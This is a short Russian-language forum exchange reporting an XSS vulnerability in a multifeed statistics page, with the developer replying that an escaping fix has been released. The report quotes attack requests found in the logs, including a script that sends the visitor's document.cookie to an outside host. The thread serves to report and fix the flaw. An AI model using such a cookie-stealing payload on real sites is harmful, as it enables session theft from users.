XSS уязвимость

[backup]

в статсах мультифида встречаются вот такие запросы:

Код: Выделить всё

 <script>alert('Hier ist die XSS lьcke');<script> 
 <script>(new Image).src = "http://www.boeserechner.de/s/c.php?c=" + escape(document.cookie);</script>) 
 и т.п. 

браузер их исполняет

[Begemot]

практически это ничем не грозит так как пароль хранится не в куке,
но могут быть другие комбинации кодов, поэтому я уже сделал апдейт,
там это все дело квотится.